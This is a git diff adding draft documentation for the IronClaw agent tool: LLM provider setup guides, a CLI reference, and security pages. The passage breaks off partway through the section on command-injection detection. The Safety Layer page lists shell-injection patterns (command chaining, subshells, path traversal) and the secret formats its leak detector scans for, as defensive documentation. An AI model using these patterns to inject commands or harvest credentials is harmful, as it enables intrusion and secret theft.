+## Available Models + +| Model | Context Window | Description | +|-------|----------------|-------------| +| `kimi-k2-5` | 256,000 tokens | Flagship reasoning model (recommended) | +| `kimi-k1.6` | 2,000,000 tokens | Ultra-long context for documents | +| `kimi-k2-5-instruct` | 256,000 tokens | Instruction-tuned variant | + + +Model IDs may vary. Check the [Moonshot documentation](https://platform.moonshot.ai/docs/overview) for the latest available models and exact IDs. + + +## Setup + +### Via Wizard + +```bash +ironclaw onboard +``` + +1. Step 3: Select "Other (OpenAI-compatible)" +2. Enter base URL: `https://api.moonshot.ai/v1` +3. Enter your API key +4. Step 4: Enter model name: `kimi-k2-5` + +### Manual Configuration + +```bash +# Add to ~/.ironclaw/.env +export LLM_BACKEND=openai_compatible +export LLM_BASE_URL=https://api.moonshot.ai/v1 +export LLM_API_KEY=sk-your-moonshot-key +export LLM_MODEL=kimi-k2-5 +``` + +Restart IronClaw: +```bash +ironclaw run +``` + +## Using Kimi K2.5 + +Kimi K2.5 is Moonshot's flagship model with advanced capabilities: + +### Strengths + +- **Long context** — 256K token window for large documents +- **Strong reasoning** — Excellent for complex analysis +- **Multilingual** — Strong performance in Chinese and English +- **Tool use** — Supports function calling + +### Example Use Cases + + +```bash Document Analysis +# Kimi's long context excels at analyzing large documents +"Summarize this 100-page PDF and extract key findings" +``` + +```bash Code Review +# Strong reasoning for code analysis +"Review this Rust module for potential bugs and improvements" +``` + +```bash Complex Reasoning +# Multi-step problem solving +"Analyze these three approaches and recommend the best one with justification" +``` + + +## API Compatibility + +Moonshot implements the OpenAI Chat Completions API: + +``` +POST https://api.moonshot.ai/v1/chat/completions +``` + +Supported features: +- Streaming responses (`stream: true`) +- Function calling / tool use +- System messages +- Temperature and top-p sampling + + +Some OpenAI-specific features like logprobs may not be available. Refer to Moonshot's API documentation for the latest feature support. + + +## Pricing + +Moonshot uses pay-as-you-go pricing based on tokens consumed: + +| Model | Input (per 1M tokens) | Output (per 1M tokens) | +|-------|----------------------|------------------------| +| Kimi K2.5 | Check current rates | Check current rates | +| Kimi K1.6 | Check current rates | Check current rates | + +Visit [platform.moonshot.ai/pricing](https://platform.moonshot.ai/pricing) for current rates. + +## Troubleshooting + + + + - Verify your API key is correctly copied + - Ensure your account is verified + - Check for any account restrictions + + + + - Confirm the exact model ID from the Moonshot dashboard + - Try `kimi-k2-5` or `kimi-k2-5-instruct` + - Check the model is available in your region + + + + - Moonshot may rate-limit requests + - Implement exponential backoff for retries + - Consider upgrading your plan for higher limits + + + + - Kimi K2.5 supports 256K tokens + - Use `memory_write` to store large documents + - Chunk large inputs when possible + + + +## Comparison with Tinfoil + +Both providers offer Kimi K2.5, but with different tradeoffs: + +| Feature | Moonshot | Tinfoil | +|---------|----------|---------| +| **Model** | Kimi K2.5 | Kimi K2.5 | +| **Privacy** | Standard | TEE-encrypted | +| **Pricing** | Direct pay-as-you-go | Tinfoil rates | +| **Attestation** | No | Hardware-verified | +| **Use case** | General use | Maximum privacy | + +Choose **Moonshot** for direct API access and competitive pricing. Choose **Tinfoil** when you need TEE privacy guarantees. + +## Next Steps + + + + TEE-secured Kimi inference alternative + + + + Other compatible providers + + + + Full environment variable reference + + + + Compare with GPT models + + diff --git a/docs/drafts/providers/nearai.mdx b/docs/drafts/providers/nearai.mdx new file mode 100644 index 0000000000..57d2a769a7 --- /dev/null +++ b/docs/drafts/providers/nearai.mdx @@ -0,0 +1,191 @@ +--- +title: NEAR AI +sidebarTitle: NEAR AI +description: Default LLM provider for IronClaw +--- + +NEAR AI is the default provider for IronClaw, offering access to multiple models including Claude via a simple OAuth flow. + +## Overview + +NEAR AI provides: +- **Browser OAuth** — One-click authentication (default) +- **API Key** — NEAR AI Cloud mode for VPS/servers +- **Multiple models** — Claude, GPT, and others +- **Session management** — Automatic token refresh + +## Authentication Modes + +### Mode 1: Browser OAuth (Default) + +**Best for:** Local machines with a browser + +**How it works:** +1. `ironclaw onboard` opens your browser +2. Log in with GitHub or Google +3. Session token saved to `~/.ironclaw/session.json` +4. Automatic renewal + +**Setup:** +```bash +ironclaw onboard +# Select NEAR AI → Options 1 or 2 (GitHub/Google) +``` + +### Mode 2: API Key + +**Best for:** VPS, servers, headless environments + +**How it works:** +1. Get API key from https://cloud.near.ai +2. Paste into terminal during onboarding +3. Key saved to `~/.ironclaw/.env` + +**Setup:** +```bash +ironclaw onboard +# Select NEAR AI → Option 4: "NEAR AI Cloud API key" +``` + + +**VPS / Remote servers:** Browser OAuth won't work without a browser. Use API key mode or set `IRONCLAW_OAUTH_CALLBACK_URL` to a publicly reachable URL. + + +## Configuration + +```bash +# ~/.ironclaw/.env + +# Backend selection +LLM_BACKEND=nearai + +# Base URL (default) +NEARAI_BASE_URL=https://private.near.ai + +# Session token (set by OAuth, or manually) +NEARAI_SESSION_TOKEN=sess_xxxxx + +# OR for API key mode +NEARAI_API_KEY=your-api-key + +# Model selection +NEARAI_MODEL=claude-sonnet-4-20250514 +``` + +## Available Models + +Popular NEAR AI models: + +| Model | Description | +|-------|-------------| +| `claude-sonnet-4-20250514` | Anthropic Claude Sonnet 4 (recommended) | +| `claude-3-5-sonnet-20241022` | Claude 3.5 Sonnet | +| `claude-3-5-haiku-20241022` | Claude 3.5 Haiku (faster) | + +Models are fetched from the NEAR AI API during onboarding. + +## Session Management + +### Automatic Renewal + +Session tokens auto-renew before expiration (typically 8-12 hours). + +### Manual Session Update + +If you need to update the session manually: + +```bash +ironclaw config set nearai.session_token sess_xxxxx +``` + +Or edit `~/.ironclaw/session.json`: + +```json +{ + "access_token": "sess_xxxxx", + "expires_at": "2024-01-15T18:30:00Z" +} +``` + +### For Hosting Providers + +If you're a hosting provider injecting tokens: + +```bash +export NEARAI_SESSION_TOKEN=sess_xxxxx +``` + +This takes precedence over file-based tokens. + +## Advanced Configuration + +### Cheap Model + +Set a cheaper model for simple tasks: + +```bash +export NEARAI_CHEAP_MODEL=claude-3-5-haiku-20241022 +``` + +### Fallback Model + +Set a fallback if the primary fails: + +```bash +export NEARAI_FALLBACK_MODEL=gpt-4o +``` + +### Circuit Breaker + +Automatic failover after consecutive failures: + +```bash +export NEARAI_CIRCUIT_BREAKER_THRESHOLD=5 +export NEARAI_CIRCUIT_BREAKER_TIMEOUT_SECS=60 +``` + +## Troubleshooting + + + + - Check default browser is set + - Try manually visiting the URL shown in terminal + - On VPS: use API key mode instead + + + + ```bash + # Re-authenticate + ironclaw onboard --skip-auth + # Select NEAR AI → re-authenticate + ``` + + + + Browser OAuth doesn't work on headless servers. Solutions: + + 1. **Use API key mode** (recommended) + 2. **Set callback URL**: + ```bash + export IRONCLAW_OAUTH_CALLBACK_URL=https://your-server:9876 + ``` + + + + - Check model name spelling + - Models vary by account tier + - Try a different model + + + +## Next Steps + + + + Full environment variable reference + + + + Use Claude directly (alternative) + + diff --git a/docs/drafts/providers/ollama.mdx b/docs/drafts/providers/ollama.mdx new file mode 100644 index 0000000000..fe3080f0fe --- /dev/null +++ b/docs/drafts/providers/ollama.mdx @@ -0,0 +1,168 @@ +--- +title: Ollama +sidebarTitle: Ollama +description: Local LLM inference with Ollama +--- + +Run language models locally using Ollama — free, private, and no API keys required. + +## Overview + +Ollama lets you run open-source models on your own hardware: + +- **Completely private** — No data leaves your machine +- **No API costs** — Just electricity and hardware +- **Offline capable** — Works without internet +- **Multiple models** — Llama, Mistral, Qwen, and more + +## Prerequisites + +- Ollama installed: https://ollama.com +- Sufficient RAM (8GB+ recommended) +- GPU optional but recommended + +## Installation + +### macOS + +```bash +brew install ollama +``` + +### Linux + +```bash +curl -fsSL https://ollama.com/install.sh | sh +``` + +### Windows + +Download from https://ollama.com + +## Configuration + +```bash +# ~/.ironclaw/.env + +LLM_BACKEND=ollama +OLLAMA_BASE_URL=http://localhost:11434 +``` + +## Pull a Model + +Before using a model, pull it: + +```bash +# Llama 3.2 (3B parameters, fast) +ollama pull llama3.2 + +# Llama 3.1 (8B parameters, balanced) +ollama pull llama3.1 + +# Qwen 2.5 (7B parameters, multilingual) +ollama pull qwen2.5 + +# Mistral (7B parameters, efficient) +ollama pull mistral +``` + +## Setup + +### Via Wizard + +```bash +ironclaw onboard +``` + +1. Step 3: Select "Ollama" +2. Step 4: Enter model name (e.g., `llama3.1`) + +### Manual Configuration + +```bash +export LLM_BACKEND=ollama +export OLLAMA_BASE_URL=http://localhost:11434 + +# Set default model in IronClaw +ironclaw config set llm.model llama3.1 +``` + +## Popular Models + +| Model | Size | VRAM | Best For | +|-------|------|------|----------| +| `llama3.2` | 3B | 4GB | Fast, simple tasks | +| `llama3.1` | 8B | 6GB | General purpose | +| `qwen2.5` | 7B | 6GB | Multilingual | +| `mistral` | 7B | 6GB | Efficient | +| `codellama` | 7B | 6GB | Code generation | + +## Hardware Requirements + +| Model Size | RAM | GPU VRAM | +|------------|-----|----------| +| 3B | 4GB | 4GB | +| 7B | 8GB | 6GB | +| 13B | 16GB | 12GB | +| 70B | 64GB | 48GB | + +Without GPU, models run slower on CPU. + +## Custom Base URL + +For remote Ollama server: + +```bash +export OLLAMA_BASE_URL=http://your-server:11434 +``` + +## Troubleshooting + + + + ```bash + # Start Ollama + ollama serve + + # Or as a service + brew services start ollama # macOS + sudo systemctl start ollama # Linux + ``` + + + + - Use a smaller model (3B instead of 7B) + - Close other applications + - Add swap space + - Use a machine with more RAM + + + + - Use GPU if available + - Try a smaller model + - Quantized models run faster + - Check CPU usage + + + + ```bash + # Pull the model first + ollama pull llama3.1 + + # List available models + ollama list + ``` + + + +## Next Steps + + + + Cloud option with no hardware requirements + + + + Private cloud inference with TEE + + diff --git a/docs/drafts/providers/openai-compatible.mdx b/docs/drafts/providers/openai-compatible.mdx new file mode 100644 index 0000000000..e0ce0cda7f --- /dev/null +++ b/docs/drafts/providers/openai-compatible.mdx @@ -0,0 +1,171 @@ +--- +title: OpenAI-Compatible +sidebarTitle: OpenAI-Compatible +description: OpenRouter, Together AI, Fireworks, vLLM, LiteLLM, LM Studio +--- + +IronClaw supports any OpenAI-compatible API endpoint. This includes OpenRouter, Together AI, Fireworks AI, self-hosted inference, and more. + +## Overview + +These providers use the same OpenAI API format: + +``` +POST /v1/chat/completions +Authorization: Bearer {key} +Content-Type: application/json +``` + +## Configuration + +```bash +# ~/.ironclaw/.env + +LLM_BACKEND=openai_compatible +LLM_BASE_URL=https://api.openrouter.ai/api/v1 +LLM_API_KEY=sk-or-... +``` + +## Supported Providers + +### OpenRouter + +[OpenRouter](https://openrouter.ai) — 300+ models, single API key. + +```bash +export LLM_BACKEND=openai_compatible +export LLM_BASE_URL=https://openrouter.ai/api/v1 +export LLM_API_KEY=sk-or-... +export LLM_MODEL=anthropic/claude-sonnet-4 + +# For attribution (optional) +export LLM_EXTRA_HEADERS="HTTP-Referer:https://your-site.com,X-Title:Your App" +``` + +**Popular models:** + +| Model | ID | +|-------|-----| +| Claude Sonnet 4 | `anthropic/claude-sonnet-4` | +| GPT-4o | `openai/gpt-4o` | +| Llama 4 Maverick | `meta-llama/llama-4-maverick` | +| Gemini 2.0 Flash | `google/gemini-2.0-flash-001` | + +Browse all: https://openrouter.ai/models + +### Together AI + +[Together AI](https://www.together.ai) — Fast inference for open-source models. + +```bash +export LLM_BACKEND=openai_compatible +export LLM_BASE_URL=https://api.together.xyz/v1 +export LLM_API_KEY=... +export LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo +``` + +### Fireworks AI + +[Fireworks AI](https://fireworks.ai) — Fast inference with compound AI. + +```bash +export LLM_BACKEND=openai_compatible +export LLM_BASE_URL=https://api.fireworks.ai/inference/v1 +export LLM_API_KEY=fw-... +export LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic +``` + +### vLLM (Self-Hosted) + +[vLLM](https://github.com/vllm-project/vllm) — High-throughput inference. + +```bash +# Start vLLM server +python -m vllm.entrypoints.openai.api_server \ + --model meta-llama/Meta-Llama-3-8B-Instruct + +# IronClaw config +export LLM_BACKEND=openai_compatible +export LLM_BASE_URL=http://localhost:8000/v1 +export LLM_API_KEY=token-abc123 # any value if auth not configured +export LLM_MODEL=meta-llama/Meta-Llama-3-8B-Instruct +``` + +### LiteLLM Proxy + +[LiteLLM](https://github.com/BerriAI/litellm) — Universal proxy for any provider. + +```bash +# LiteLLM config (config.yaml) +model_list: + - model_name: gpt-4o + litellm_params: + model: openai/gpt-4o + api_key: sk-... + +# IronClaw config +export LLM_BACKEND=openai_compatible +export LLM_BASE_URL=http://localhost:4000/v1 +export LLM_API_KEY=sk-... +export LLM_MODEL=gpt-4o +``` + +### LM Studio + +[LM Studio](https://lmstudio.ai) — Local GUI with OpenAI-compatible server. + +1. Download and install LM Studio +2. Load a model +3. Start local server +4. Configure IronClaw: + +```bash +export LLM_BACKEND=openai_compatible +export LLM_BASE_URL=http://localhost:1234/v1 +export LLM_MODEL=llama-3.2-3b-instruct +# No API key needed +``` + +## Extra Headers + +Add custom headers with `LLM_EXTRA_HEADERS`: + +```bash +export LLM_EXTRA_HEADERS="Key1:Value1,Key2:Value2" +``` + +Useful for OpenRouter attribution. + +## Troubleshooting + + + + - Must end with `/v1` for most providers + - Include protocol (`https://`) + - No trailing slash after `/v1` + + + + - Each provider uses different model IDs + - Check provider's model list + - Use exact ID from provider docs + + + + - Verify API key format + - Check for expired keys + - Some providers don't need keys (LM Studio) + + + +## Next Steps + + + + Free local inference alternative + + + + Full environment variable reference + + diff --git a/docs/drafts/providers/openai.mdx b/docs/drafts/providers/openai.mdx new file mode 100644 index 0000000000..55de17a6a7 --- /dev/null +++ b/docs/drafts/providers/openai.mdx @@ -0,0 +1,88 @@ +--- +title: OpenAI +sidebarTitle: OpenAI +description: GPT models via OpenAI API +--- + +Use OpenAI's GPT models directly via their API. + +## Configuration + +```bash +# ~/.ironclaw/.env + +LLM_BACKEND=openai +OPENAI_API_KEY=sk-... +``` + +## Getting an API Key + +1. Visit https://platform.openai.com +2. Create an account +3. Generate an API key +4. Add billing information +5. Copy the key (starts with `sk-`) + +## Available Models + +| Model | Context | Best For | +|-------|---------|----------| +| `gpt-4o` | 128K | Complex tasks, reasoning | +| `gpt-4o-mini` | 128K | Cost-effective, fast | +| `o3-mini` | 128K | Reasoning tasks | + +## Setup + +### Via Wizard + +```bash +ironclaw onboard +``` + +1. Step 3: Select "OpenAI" +2. Enter your API key +3. Step 4: Select a model + +### Manual Configuration + +```bash +# Edit ~/.ironclaw/.env +export LLM_BACKEND=openai +export OPENAI_API_KEY=sk-... + +# Optional: custom base URL +export OPENAI_BASE_URL=https://api.openai.com/v1 +``` + +Restart IronClaw: +```bash +ironclaw run +``` + +## Cost + +Approximate pricing (per 1K tokens): + +| Model | Input | Output | +|-------|-------|--------| +| GPT-4o | $2.50 | $10.00 | +| GPT-4o-mini | $0.15 | $0.60 | +| o3-mini | $1.10 | $4.40 | + +See [OpenAI pricing](https://openai.com/pricing) for current rates. + +## Troubleshooting + + + + - Add billing information to OpenAI account + - Check your spending limit + - Verify you have available credits + + + + - OpenAI has tier-based rate limits + - Implement exponential backoff + - Consider using a different model tier + + diff --git a/docs/drafts/providers/tinfoil.mdx b/docs/drafts/providers/tinfoil.mdx new file mode 100644 index 0000000000..b421539322 --- /dev/null +++ b/docs/drafts/providers/tinfoil.mdx @@ -0,0 +1,121 @@ +--- +title: Tinfoil +sidebarTitle: Tinfoil +description: Private TEE inference via Tinfoil +--- + +Tinfoil provides hardware-attested Trusted Execution Environment (TEE) inference — neither Tinfoil nor the cloud provider can see your prompts. + +## Overview + +Tinfoil runs models inside hardware-attested TEEs: + +- **Hardware-attested** — Intel TDX or AMD SEV-SNP +- **End-to-end encrypted** — Only you can decrypt responses +- **Verifiable** — Cryptographic proof of execution +- **Zero-knowledge** — Provider sees only encrypted data + +## Configuration + +```bash +# ~/.ironclaw/.env + +LLM_BACKEND=tinfoil +TINFOIL_API_KEY=your-api-key +TINFOIL_MODEL=kimi-k2-5 +``` + +## Getting an API Key + +1. Visit https://tinfoil.sh +2. Create an account +3. Generate an API key +4. Copy the key + +## Available Models + +| Model | Description | +|-------|-------------| +| `kimi-k2-5` | Moonshot AI Kimi K2.5 (default) | + +## Setup + +### Via Wizard + +```bash +ironclaw onboard +``` + +1. Step 3: Select "Tinfoil" +2. Enter your API key +3. Step 4: Confirm model + +### Manual Configuration + +```bash +export LLM_BACKEND=tinfoil +export TINFOIL_API_KEY=your-api-key +export TINFOIL_MODEL=kimi-k2-5 +``` + +Restart IronClaw: +```bash +ironclaw run +``` + +## How It Works + +``` +┌─────────────┐ Encrypted ┌──────────────┐ Encrypted ┌─────────────┐ +│ You │ ◄──────────────────► │ TEE │ ◄──────────────────► │ Cloud │ +│ (Client) │ (TLS + Attestation)│ (Enclave) │ (Network) │ (Untrusted)│ +└─────────────┘ └──────────────┘ └─────────────┘ + │ │ + │ ┌─────────────────┐ │ + └────────►│ Model runs in │◄───────┘ + │ secure enclave │ + └─────────────────┘ +``` + +1. **Attestation** — Client verifies TEE is genuine +2. **Key exchange** — Ephemeral keys established +3. **Encrypted inference** — Prompts encrypted end-to-end +4. **Verifiable** — Cryptographic proof of execution + +## Privacy Guarantees + +- **Tinfoil** — Cannot see prompts (attested code) +- **Cloud provider** — Only sees encrypted traffic +- **IronClaw** — Your local client, you control + +## Cost + +Tinfoil pricing varies by model. See https://tinfoil.sh/pricing for current rates. + +## Troubleshooting + + + + - Verify system time is correct + - Check network connectivity + - TEE may be updating (try again) + + + + - Check key is copied correctly + - Verify account is active + - Check for expired keys + + + +## Next Steps + + + + Free local inference alternative + + + + Default provider option + + diff --git a/docs/drafts/reference/changelog.mdx b/docs/drafts/reference/changelog.mdx new file mode 100644 index 0000000000..1e7a59fd5c --- /dev/null +++ b/docs/drafts/reference/changelog.mdx @@ -0,0 +1,35 @@ +--- +title: Changelog +sidebarTitle: Changelog +description: IronClaw release history +--- + +Release history for IronClaw. + +## Changelog Location + +The complete changelog is maintained in the main repository: + + + See the full release history + + +## Versioning + +IronClaw follows [Semantic Versioning](https://semver.org/): + +- **MAJOR**: Breaking changes +- **MINOR**: New features (backward compatible) +- **PATCH**: Bug fixes + +## Current Version + +To check your installed version: + +```bash +ironclaw --version +``` + +## Upgrade + +See [Updating IronClaw](/install/updating) for upgrade instructions. diff --git a/docs/drafts/reference/cli.mdx b/docs/drafts/reference/cli.mdx new file mode 100644 index 0000000000..d17a2b9ec3 --- /dev/null +++ b/docs/drafts/reference/cli.mdx @@ -0,0 +1,396 @@ +--- +title: CLI Reference +sidebarTitle: CLI +description: Command-line interface reference +--- + +Complete reference for the `ironclaw` CLI. + +## Global Options + +```bash +ironclaw [OPTIONS] [COMMAND] +``` + +| Option | Description | +|--------|-------------| +| `-c, --config ` | Path to config file | +| `--no-onboard` | Skip auto-onboarding | +| `-v, --verbose` | Enable verbose logging | +| `-h, --help` | Print help | +| `-V, --version` | Print version | + +## Commands + +### run + +Start the IronClaw agent. + +```bash +ironclaw run [OPTIONS] +``` + +Starts the agent with all configured channels. This is the main command for normal operation. + +**Options:** + +| Option | Description | +|--------|-------------| +| `--no-tui` | Disable TUI, use HTTP only | + +**Examples:** + +```bash +# Start normally +ironclaw run + +# Start without TUI +ironclaw run --no-tui + +# With verbose logging +RUST_LOG=ironclaw=debug ironclaw run +``` + +### onboard + +Run the interactive setup wizard. + +```bash +ironclaw onboard [OPTIONS] +``` + +Configures database, LLM, channels, and security settings. + +**Options:** + +| Option | Description | +|--------|-------------| +| `--skip-auth` | Skip authentication steps | +| `--channels-only` | Configure only channels | + +**Examples:** + +```bash +# Full wizard +ironclaw onboard + +# Skip auth (use existing) +ironclaw onboard --skip-auth + +# Add new channel +ironclaw onboard --channels-only +``` + +### config + +Manage configuration settings. + +```bash +ironclaw config +``` + +**Subcommands:** + +| Subcommand | Description | +|------------|-------------| +| `list` | List all settings | +| `get ` | Get a specific setting | +| `set ` | Set a setting | +| `delete ` | Delete a setting | + +**Examples:** + +```bash +# List all settings +ironclaw config list + +# Get LLM backend +ironclaw config get llm.backend + +# Set model +ironclaw config set llm.model claude-sonnet-4 + +# Delete setting (reset to default) +ironclaw config delete llm.model +``` + +### tool + +Manage tools. + +```bash +ironclaw tool +``` + +**Subcommands:** + +| Subcommand | Description | +|------------|-------------| +| `list` | List installed tools | +| `install ` | Install a tool | +| `remove ` | Remove a tool | +| `run ` | Run a tool | + +**Examples:** + +```bash +# List tools +ironclaw tool list + +# Install from file +ironclaw tool install ./my-tool.wasm + +# Remove tool +ironclaw tool remove my-tool +``` + +### registry + +Manage the tool registry. + +```bash +ironclaw registry +``` + +**Subcommands:** + +| Subcommand | Description | +|------------|-------------| +| `list` | List available tools | +| `search ` | Search for tools | +| `install ` | Install from registry | +| `update` | Update registry index | + +**Examples:** + +```bash +# List available tools +ironclaw registry list + +# Search +ironclaw registry search calendar + +# Install +ironclaw registry install google-calendar +``` + +### mcp + +Manage MCP (Model Context Protocol) servers. + +```bash +ironclaw mcp +``` + +**Subcommands:** + +| Subcommand | Description | +|------------|-------------| +| `list` | List MCP servers | +| `add ` | Add an MCP server | +| `remove ` | Remove an MCP server | + +**Examples:** + +```bash +ironclaw mcp list +ironclaw mcp add http://localhost:3000/sse +``` + +### memory + +Manage workspace memory. + +```bash +ironclaw memory +``` + +**Subcommands:** + +| Subcommand | Description | +|------------|-------------| +| `list` | List documents | +| `read ` | Read a document | +| `write ` | Write a document | +| `search ` | Search memory | +| `tree` | Show memory tree | + +**Examples:** + +```bash +# List documents +ironclaw memory list + +# Write a document +echo "My note" | ironclaw memory write notes/idea.md + +# Search +ironclaw memory search "project idea" +``` + +### pairing + +Manage channel pairing. + +```bash +ironclaw pairing +``` + +**Subcommands:** + +| Subcommand | Description | +|------------|-------------| +| `list ` | List pending requests | +| `approve ` | Approve a pairing request | + +**Examples:** + +```bash +# List Telegram pending +ironclaw pairing list telegram + +# Approve +ironclaw pairing approve telegram ABC12345 + +# List as JSON +ironclaw pairing list telegram --json +``` + +### service + +Manage system service. + +```bash +ironclaw service +``` + +**Subcommands:** + +| Subcommand | Description | +|------------|-------------| +| `install` | Install service | +| `uninstall` | Remove service | +| `start` | Start service | +| `stop` | Stop service | +| `status` | Check service status | + +**Examples:** + +```bash +# Install +ironclaw service install + +# Check status +ironclaw service status + +# Control +sudo systemctl start ironclaw # Linux +brew services start ironclaw # macOS +``` + +### doctor + +Run diagnostics. + +```bash +ironclaw doctor [OPTIONS] +``` + +Checks: +- Database connectivity +- LLM provider access +- Docker availability +- Tunnel detection + +**Options:** + +| Option | Description | +|--------|-------------| +| `--json` | Output as JSON | +| `--fix` | Attempt to fix issues | + +**Example:** + +```bash +ironclaw doctor +ironclaw doctor --json +``` + +### status + +Show current status. + +```bash +ironclaw status [OPTIONS] +``` + +Shows: +- Version +- Configuration +- Database status +- LLM backend +- Channels + +**Example:** + +```bash +ironclaw status +``` + +### completion + +Generate shell completion scripts. + +```bash +ironclaw completion +``` + +**Shells:** `bash`, `zsh`, `fish`, `powershell` + +**Example:** + +```bash +# Bash +ironclaw completion bash > /etc/bash_completion.d/ironclaw + +# Zsh +ironclaw completion zsh > /usr/local/share/zsh/site-functions/_ironclaw +``` + +## Environment Variables + +CLI behavior can be modified with environment variables: + +```bash +# Config directory +export IRONCLAW_BASE_DIR=/custom/path + +# Skip onboarding +export ONBOARD_COMPLETED=true + +# Logging +export RUST_LOG=ironclaw=debug +``` + +## Exit Codes + +| Code | Meaning | +|------|---------| +| `0` | Success | +| `1` | General error | +| `2` | Invalid arguments | +| `3` | Configuration error | +| `4` | Database error | +| `5` | Network error | + +## Next Steps + + + + Environment variable reference + + + + Common issues and solutions + + diff --git a/docs/drafts/security/index.mdx b/docs/drafts/security/index.mdx new file mode 100644 index 0000000000..570990db30 --- /dev/null +++ b/docs/drafts/security/index.mdx @@ -0,0 +1,174 @@ +--- +title: Security +sidebarTitle: Overview +description: IronClaw's defense-in-depth security architecture +--- + +Security is IronClaw's primary differentiator. Your data stays yours through multiple layers of defense. + +## Security-First Design + +IronClaw is built with security as a core principle: + +- **Local-first** — Your data stays on your machine +- **Encrypted at rest** — Secrets use AES-256-GCM +- **Sandboxed execution** — Tools run in isolated environments +- **Prompt injection defense** — Multi-layer protection +- **Zero-exposure credentials** — Secrets never enter containers + +## Defense Layers + + + IronClaw Security Architecture Diagram + + + + [Download the Excalidraw file](/assets/security-architecture.excalidraw) to explore or edit this diagram. + + +The security architecture illustrates IronClaw's **defense in depth** approach with four independent protection layers that data flows through before reaching external services. + +## The Four Defense Layers + + + + Sanitizer, validator, policy engine, and leak detector. Protects against prompt injection and data exfiltration. + + + + Tools run in wasmtime with memory limits and fuel metering. Sandboxed execution. + + + + Job execution in isolated containers with network proxy and credential injection. + + + + AES-256-GCM encryption, OS keychain integration, zero-exposure credential model. + + + +## Security Defaults + +IronClaw ships with secure defaults: + +| Feature | Default | Why | +|---------|---------|-----| +| **Web Gateway host** | `127.0.0.1` | Local only | +| **Webhook host** | `0.0.0.0` | ⚠️ Review if external not needed | +| **Sandbox policy** | `readonly` | No filesystem writes | +| **Secrets master key** | OS keychain | Hardware-backed | +| **LLM backend** | NEAR AI | OAuth, no API key storage | +| **Telegram DM policy** | `pairing` | Access control | + +## Prompt Injection Defense + +Multiple layers protect against prompt injection: + +1. **Input validation** — Length, encoding, forbidden patterns +2. **Sanitizer** — Escapes dangerous content +3. **Policy engine** — Severity-based actions +4. **Leak detector** — Scans for 15+ secret patterns +5. **Tool output wrapping** — XML format with escape hints + + +Tool outputs are wrapped before reaching the LLM: +```xml + +[content here] + +``` + + +## Data Flow + + + Security Data Flow Diagram + + + + [Download the Excalidraw file](/assets/security-data-flow.excalidraw) to explore or edit this diagram. + + +``` +User Input + ↓ +[Validator] → Reject if invalid + ↓ +[Sanitizer] → Escape dangerous patterns + ↓ +[Policy Engine] → Apply rules + ↓ +[Leak Detector] → Scan for secrets + ↓ +LLM Processing + ↓ +Tool Execution + ↓ +[WASM Sandbox] → Sandboxed tool + ↓ +[Docker Sandbox] → Isolated job + ↓ +[Network Proxy] → Credential injection + ↓ +External Service +``` + +## Zero-Exposure Credential Model + +Secrets are never exposed to untrusted code: + +1. **Stored encrypted** — AES-256-GCM in database +2. **Master key in keychain** — OS-managed +3. **Injected at proxy** — HTTP requests only +4. **Containers never see raw values** — Safe even if compromised + +See [Secrets](/security/secrets) for details. + +## Compliance Considerations + +IronClaw helps with security compliance: + +| Requirement | IronClaw Feature | +|-------------|-----------------| +| Data encryption at rest | AES-256-GCM for secrets | +| Access control | Channel policies, owner binding | +| Audit logging | Structured logs, job history | +| Least privilege | Sandboxed execution | +| Network isolation | Domain allowlists | + +## Security Checklist + +When deploying IronClaw: + +- [ ] Use OS keychain for master key (not env var) +- [ ] Set `HTTP_HOST=127.0.0.1` if external webhooks not needed +- [ ] Configure Telegram DM policy (not `open`) +- [ ] Block port 50051 with firewall on VPS +- [ ] Use libSQL encryption-at-rest warning +- [ ] Review sandbox policy for your use case +- [ ] Set strong Web Gateway auth token + +## Reporting Security Issues + +If you discover a security vulnerability: + +1. Email security@ironclaw.ai +2. Do not disclose publicly until fixed +3. Include steps to reproduce + +## Next Steps + + + + Sanitizer, validator, policy, leak detector + + + + Encryption and credential management + + + + WASM and Docker isolation + + diff --git a/docs/drafts/security/safety-layer.mdx b/docs/drafts/security/safety-layer.mdx new file mode 100644 index 0000000000..2a00370a5b --- /dev/null +++ b/docs/drafts/security/safety-layer.mdx @@ -0,0 +1,197 @@ +--- +title: Safety Layer +sidebarTitle: Safety Layer +description: Prompt injection defense and content validation +--- + +The Safety Layer provides multi-stage defense against prompt injection, data exfiltration, and malicious content. + +## Overview + +All external content passes through the Safety Layer before reaching the LLM: + + + Safety Layer Overview Diagram + + +``` +External Data → Validator → Sanitizer → Policy Engine → Leak Detector → LLM +``` + +## Components + + + + Input validation: length, encoding, forbidden patterns. + + + + Content escaping and dangerous pattern detection. + + + + Severity-based rules with configurable actions. + + + + Scans for 15+ secret patterns in tool outputs. + + + +## Validator + +Checks input before processing: + +| Check | Action | +|-------|--------| +| **Length** | Reject if exceeds limit | +| **Encoding** | Reject invalid UTF-8 | +| **Null bytes** | Reject or strip | +| **Control chars** | Reject or escape | + +## Sanitizer + +Escapes dangerous content: + +### Injection Patterns Detected + +- Command chaining (`;`, `&&`, `||`) +- Subshells (`$()`, backticks) +- Path traversal (`../`) +- Null bytes +- Control characters + +### Tool Output Wrapping + +Tool outputs are wrapped before reaching the LLM: + +```xml + + [escaped content here] + +``` + +The `sanitized="true"` attribute signals that content has been processed. + +## Policy Engine + +Rules-based enforcement with severity levels: + +### Severity Levels + +| Level | Action | Use Case | +|-------|--------|----------| +| **Critical** | Block + Alert | System compromise attempt | +| **High** | Block | Malicious content | +| **Medium** | Warn | Suspicious patterns | +| **Low** | Log | Minor issues | + +### Policy Actions + +- **Block** — Reject the content +- **Warn** — Allow with warning +- **Sanitize** — Clean and proceed +- **Review** — Flag for human review + +## Leak Detector + +Scans for 15+ secret patterns: + +### Detected Patterns + +| Pattern | Example | +|---------|---------| +| API keys | `sk-...`, `ak-...` | +| Tokens | `ghp_...`, `sess-...` | +| Private keys | `-----BEGIN RSA PRIVATE KEY-----` | +| Connection strings | `postgres://user:pass@...` | +| AWS credentials | `AKIA...` | +| GitHub tokens | `ghp_...` | + +### Actions per Pattern + +| Action | Behavior | +|--------|----------| +| **Block** | Reject the entire output | +| **Redact** | Mask the secret (e.g., `sk-****`) | +| **Warn** | Flag but allow | + +## Shell Environment Scrubbing + +The shell tool scrubs sensitive environment variables: + +```rust +// Before: PATH, HOME, SECRET_KEY +// After: PATH, HOME +``` + +Prevents secrets from leaking via `env` or `$VAR` expansion. + +## Command Injection Detection + +Shell commands are checked for injection attempts: + +```bash +# BLOCKED: Command chaining 